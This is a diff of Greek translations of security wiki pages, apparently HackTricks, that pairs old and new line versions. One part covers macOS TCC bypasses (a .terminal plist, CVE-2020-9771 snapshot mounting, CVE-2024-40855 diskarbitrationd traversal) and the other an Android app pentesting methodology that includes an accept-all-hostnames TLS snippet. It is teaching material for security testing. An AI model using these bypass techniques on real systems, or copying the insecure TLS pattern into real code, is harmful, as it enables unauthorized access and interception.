Είναι αρκετά συνηθισμένο να δίνετε στο τερματικό **Πλήρη Πρόσβαση Δίσκου (FDA)**, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνικούς. Και είναι δυνατόν να καλέσετε σενάρια **`.terminal`** χρησιμοποιώντας το.
Είναι αρκετά συνηθισμένο να δίνεται στο τερματικό **Πλήρης Πρόσβαση Δίσκου (FDA)**, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνικούς. Και είναι δυνατόν να καλέσετε σενάρια **`.terminal`** χρησιμοποιώντας το.
**`.terminal`** σενάρια είναι αρχεία plist όπως αυτό με την εντολή που θα εκτελεστεί στο κλειδί **`CommandString`**:
Τα σενάρια **`.terminal`** είναι αρχεία plist όπως αυτό με την εντολή που πρέπει να εκτελεστεί στο κλειδί **`CommandString`**:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -418,8 +418,8 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - παράκαμψη TCC mount_apfs και κλιμάκωση προνομίων
**Οποιοσδήποτε χρήστης** (ακόμα και μη προνομιούχοι) μπορεί να δημιουργήσει και να τοποθετήσει μια στιγμιότυπο του Time Machine και **να έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\
Η **μόνη προνομιακή** πρόσβαση που απαιτείται είναι για την εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`) η οποία πρέπει να παραχωρηθεί από έναν διαχειριστή.
**Οποιοσδήποτε χρήστης** (ακόμα και μη προνομιούχοι) μπορεί να δημιουργήσει και να τοποθετήσει μια στιγμιότυπο μηχανής χρόνου και να **έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\
Η **μόνη προνομιακή** πρόσβαση που απαιτείται είναι για την εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`) που πρέπει να παραχωρηθεί από έναν διαχειριστή.
```bash
# Create snapshot
tmutil localsnapshot
@ -468,11 +468,11 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
### CVE-2024-40855
Όπως εξηγήθηκε στο [πρωτότυπο άρθρο](https://www.kandji.io/blog/macos-audit-story-part2), αυτή η CVE εκμεταλλεύτηκε το `diskarbitrationd`.
Όπως εξηγήθηκε στο [πρωτότυπο άρθρο](https://www.kandji.io/blog/macos-audit-story-part2), αυτό το CVE εκμεταλλεύτηκε το `diskarbitrationd`.
Η συνάρτηση `DADiskMountWithArgumentsCommon` από το δημόσιο πλαίσιο `DiskArbitration` εκτελούσε τους ελέγχους ασφαλείας. Ωστόσο, είναι δυνατό να παρακαμφθεί καλώντας απευθείας το `diskarbitrationd` και επομένως να χρησιμοποιηθούν στοιχεία `../` στη διαδρομή και symlinks.
Η συνάρτηση `DADiskMountWithArgumentsCommon` από το δημόσιο πλαίσιο `DiskArbitration` εκτελούσε τους ελέγχους ασφαλείας. Ωστόσο, είναι δυνατόν να παρακαμφθεί καλώντας απευθείας το `diskarbitrationd` και επομένως να χρησιμοποιηθούν στοιχεία `../` στη διαδρομή και symlinks.
Αυτό επέτρεψε σε έναν επιτιθέμενο να κάνει αυθαίρετες τοποθετήσεις σε οποιαδήποτε τοποθεσία, συμπεριλαμβανομένης της βάσης δεδομένων TCC λόγω της εξουσιοδότησης `com.apple.private.security.storage-exempt.heritable` του `diskarbitrationd`.
Αυτό επέτρεψε σε έναν επιτιθέμενο να πραγματοποιήσει αυθαίρετες τοποθετήσεις σε οποιαδήποτε τοποθεσία, συμπεριλαμβανομένης της βάσης δεδομένων TCC λόγω της εξουσιοδότησης `com.apple.private.security.storage-exempt.heritable` του `diskarbitrationd`.
### asr
@ -485,13 +485,14 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
## Από εφαρμογές εκκίνησης
{{#ref}}
../../../../macos-auto-start-locations.md
{{#endref}}
## Από grep
Σε πολλές περιπτώσεις, αρχεία θα αποθηκεύουν ευαίσθητες πληροφορίες όπως emails, αριθμούς τηλεφώνων, μηνύματα... σε μη προστατευμένες τοποθεσίες (που μετράνε ως ευπάθεια στην Apple).
Σε πολλές περιπτώσεις, αρχεία θα αποθηκεύουν ευαίσθητες πληροφορίες όπως emails, αριθμούς τηλεφώνου, μηνύματα... σε μη προστατευμένες τοποθεσίες (που μετράνε ως ευπάθεια στην Apple).
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>

View File

@ -4,7 +4,7 @@
## Android Applications Basics
Είναι πολύ σημαντικό να ξεκινήσετε να διαβάζετε αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
Συνιστάται ανεπιφύλακτα να ξεκινήσετε να διαβάζετε αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια του Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
{{#ref}}
android-applications-basics.md
@ -15,12 +15,12 @@ android-applications-basics.md
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
Ρίξτε μια ματιά στη παρακάτω λίστα με [**ADB Commands**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
Ρίξτε μια ματιά στη παρακάτω λίστα με τις [**Εντολές ADB**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
## Smali
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, θα μπορούσε να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
[**Σε αυτό το tutorial** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό θα μπορούσε να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
[**Σε αυτό το σεμινάριο** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό θα μπορούσε να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
## Other interesting tricks
@ -50,10 +50,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Μελέτες Περίπτωσης & Ευπάθειες
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
@ -65,7 +67,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Αναζητώντας ενδιαφέρουσες Πληροφορίες
Απλά ρίχνοντας μια ματιά στις **αλφαβητικές ακολουθίες** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... κοιτάξτε ακόμα και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή).
Απλά ρίχνοντας μια ματιά στις **αλφαβητικές ακολουθίες** του APK μπορείτε να αναζητήσετε **κωδικούς πρόσβασης**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** κλειδιά, **κρυπτογράφηση**, **bluetooth uuids**, **tokens** και οτιδήποτε ενδιαφέρον... αναζητήστε ακόμη και για εκτέλεση κώδικα **backdoors** ή backdoors αυθεντικοποίησης (σκληρά κωδικοποιημένα διαπιστευτήρια διαχειριστή στην εφαρμογή).
**Firebase**
@ -73,14 +75,14 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Βασική κατανόηση της εφαρμογής - Manifest.xml, strings.xml
Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας decompilers ή με την αλλαγή της επέκτασης του αρχείου APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το.
Η **εξέταση των αρχείων _Manifest.xml_ και **_strings.xml_** μιας εφαρμογής μπορεί να αποκαλύψει πιθανές ευπάθειες ασφαλείας**. Αυτά τα αρχεία μπορούν να προσπελαστούν χρησιμοποιώντας decompilers ή με την αλλαγή της επέκτασης αρχείου APK σε .zip και στη συνέχεια αποσυμπιέζοντάς το.
**Ευπάθειες** που εντοπίζονται από το **Manifest.xml** περιλαμβάνουν:
- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που ασχολούνται με ευαίσθητες πληροφορίες για να αποτραπούν μη εξουσιοδοτημένα αντίγραφα ασφαλείας δεδομένων μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP. Ένα παράδειγμα είναι η επιτρεπόμενη κυκλοφορία HTTP για συγκεκριμένους τομείς.
- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να καταχραστούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που ασχολούνται με ευαίσθητες πληροφορίες για να αποτραπεί η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains.
- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να κακοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
- **Content Providers και FileProviders**: Οι εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η ρύθμιση των FileProviders θα πρέπει επίσης να εξεταστεί προσεκτικά.
- **Broadcast Receivers και URL Schemes**: Αυτά τα στοιχεία θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για ευπάθειες εισόδου.
- **Εκδόσεις SDK**: Τα χαρακτηριστικά `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία της μη υποστήριξης παλαιών, ευάλωτων εκδόσεων Android για λόγους ασφαλείας.
@ -89,21 +91,23 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
### Tapjacking
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ ταυτόχρονα περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι στην πραγματικότητα εκτελεί ενέργειες στην εφαρμογή θύμα**.
Βρείτε περισσότερες πληροφορίες στο:
{{#ref}}
tapjacking.md
{{#endref}}
### Task Hijacking
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή θα μπορούσε να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
Περισσότερες πληροφορίες στο:
{{#ref}}
android-task-hijacking.md
{{#endref}}
@ -147,7 +151,7 @@ android-task-hijacking.md
**Αποδοχή Όλων των Πιστοποιητικών**
Για κάποιο λόγο, μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμη και αν, για παράδειγμα, το όνομα κεντρικού υπολογιστή δεν ταιριάζει με γραμμές κώδικα όπως η παρακάτω:
Για κάποιο λόγο, μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμη και αν, για παράδειγμα, το hostname δεν ταιριάζει με γραμμές κώδικα όπως η παρακάτω:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -160,13 +164,13 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες.
**Χρήση Ανασφαλών και/ή Υποστηριζόμενων Αλγορίθμων**
**Χρήση Ανασφαλών και/ή Παρωχημένων Αλγορίθμων**
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν ελέγχους **εξουσιοδότησης**, **αποθήκευσης** ή **αποστολής** δεδομένων. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **παρωχημένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
### Άλλοι έλεγχοι
- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη διαδικασία αντίστροφης μηχανικής για τους επιτιθέμενους.
- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του αναστροφέα για τους επιτιθέμενους.
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
@ -174,7 +178,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
### Εφαρμογή React Native
Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να αποκτήσετε εύκολα πρόσβαση στον κώδικα javascript των εφαρμογών React:
Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να έχετε εύκολη πρόσβαση στον κώδικα javascript των εφαρμογών React:
{{#ref}}
react-native-application.md
@ -182,7 +186,7 @@ react-native-application.md
### Εφαρμογές Xamarin
Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να αποκτήσετε εύκολα πρόσβαση στον κώδικα C# μιας εφαρμογής xamarin:
Διαβάστε την παρακάτω σελίδα για να μάθετε πώς να έχετε εύκολη πρόσβαση στον κώδικα C# των εφαρμογών xamarin:
{{#ref}}
../xamarin-apps.md
@ -190,11 +194,11 @@ react-native-application.md
### Superpacked Εφαρμογές
Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) το superpacked είναι ένας αλγόριθμος Meta που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.**
Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) το superpacked είναι ένας Meta αλγόριθμος που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.**
### Αυτοματοποιημένη Στατική Ανάλυση Κώδικα
Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να βρίσκει **ευπάθειες** μέσω **σάρωσης** του **κώδικα** της εφαρμογής. Αυτό το εργαλείο περιέχει μια σειρά από **γνωστές πηγές** (που υποδεικνύουν στο εργαλείο τις **θέσεις** όπου η **είσοδος** ελέγχεται από τον χρήστη), **sink** (που υποδεικνύουν στο εργαλείο **επικίνδυνες** **θέσεις** όπου η κακόβουλη είσοδος του χρήστη θα μπορούσε να προκαλέσει ζημίες) και **κανόνες**. Αυτοί οι κανόνες υποδεικνύουν την **συνδυαστική** των **πηγών-sinks** που υποδεικνύει μια ευπάθεια.
Το εργαλείο [**mariana-trench**](https://github.com/facebook/mariana-trench) είναι ικανό να βρίσκει **ευπάθειες** μέσω **σάρωσης** του **κώδικα** της εφαρμογής. Αυτό το εργαλείο περιέχει μια σειρά από **γνωστές πηγές** (που υποδεικνύουν στο εργαλείο τις **θέσεις** όπου η **είσοδος** ελέγχεται από τον χρήστη), **sink** (που υποδεικνύουν στο εργαλείο **επικίνδυνες** **θέσεις** όπου η κακόβουλη είσοδος του χρήστη θα μπορούσε να προκαλέσει ζημίες) και **κανόνες**. Αυτοί οι κανόνες υποδεικνύουν την **συνδυασμένη** **πηγή-sink** που υποδεικνύει μια ευπάθεια.
Με αυτή τη γνώση, **το mariana-trench θα αναθεωρήσει τον κώδικα και θα βρει πιθανές ευπάθειες σε αυτόν**.
@ -215,7 +219,7 @@ bypass-biometric-authentication-android.md
- **Native functions** δηλωμένες ως `native`: `public native, System.loadLibrary, System.load`
- [Διαβάστε αυτό για να μάθετε **πώς να αναστρέψετε native functions**](reversing-native-libraries.md)
### **Άλλα κόλπα**
### **Άλλες τεχνικές**
{{#ref}}
content-protocol.md
@ -243,7 +247,7 @@ content-protocol.md
#### Χρησιμοποιώντας έναν εξομοιωτή
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες εκδόσεις x86** υποστηρίζουν ARM βιβλιοθήκες χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) οι **latest x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
- Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα:
{{#ref}}
@ -270,34 +274,34 @@ avd-android-virtual-device.md
2. (Από Android 8.0) Επιλέξτε **Σύστημα**.
3. Επιλέξτε **Σχετικά με το τηλέφωνο**.
4. Πατήστε **Αριθμός κατασκευής** 7 φορές.
5. Επιστρέψτε και θα βρείτε τις **Επιλογές προγραμματιστή**.
5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
> Σας προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
> Σας προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας MobSF dynamic analysis + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
### Ακούσια Διαρροή Δεδομένων
**Καταγραφή**
Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Το Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
> [!WARNING]
> Σημειώστε ότι από **αργότερα νεότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
> Σημειώστε ότι από **αργότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
> Ούτως ή άλλως, εξακολουθεί να συνιστάται να **μην καταγράφετε ευαίσθητες πληροφορίες**.
**Caching του Buffer Αντιγραφής/Επικόλλησης**
Το πλαίσιο **βάσει clipboard** του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει έναν κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτρέψετε διαρροές δεδομένων.
Το **clipboard-based** πλαίσιο του Android επιτρέπει τη λειτουργία αντιγραφής-επικόλλησης σε εφαρμογές, ωστόσο θέτει κίνδυνο καθώς **άλλες εφαρμογές** μπορούν να **πρόσβαση** στο clipboard, εκθέτοντας ενδεχομένως ευαίσθητα δεδομένα. Είναι κρίσιμο να **απενεργοποιήσετε τις λειτουργίες αντιγραφής/επικόλλησης** για ευαίσθητες ενότητες μιας εφαρμογής, όπως λεπτομέρειες πιστωτικών καρτών, για να αποτρέψετε διαρροές δεδομένων.
**Crash Logs**
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω ενός καναλιού SSL για ασφάλεια.
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια.
Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**.
**Δεδομένα Analytics που αποστέλλονται σε τρίτους**
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν ευαίσθητα δεδομένα λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
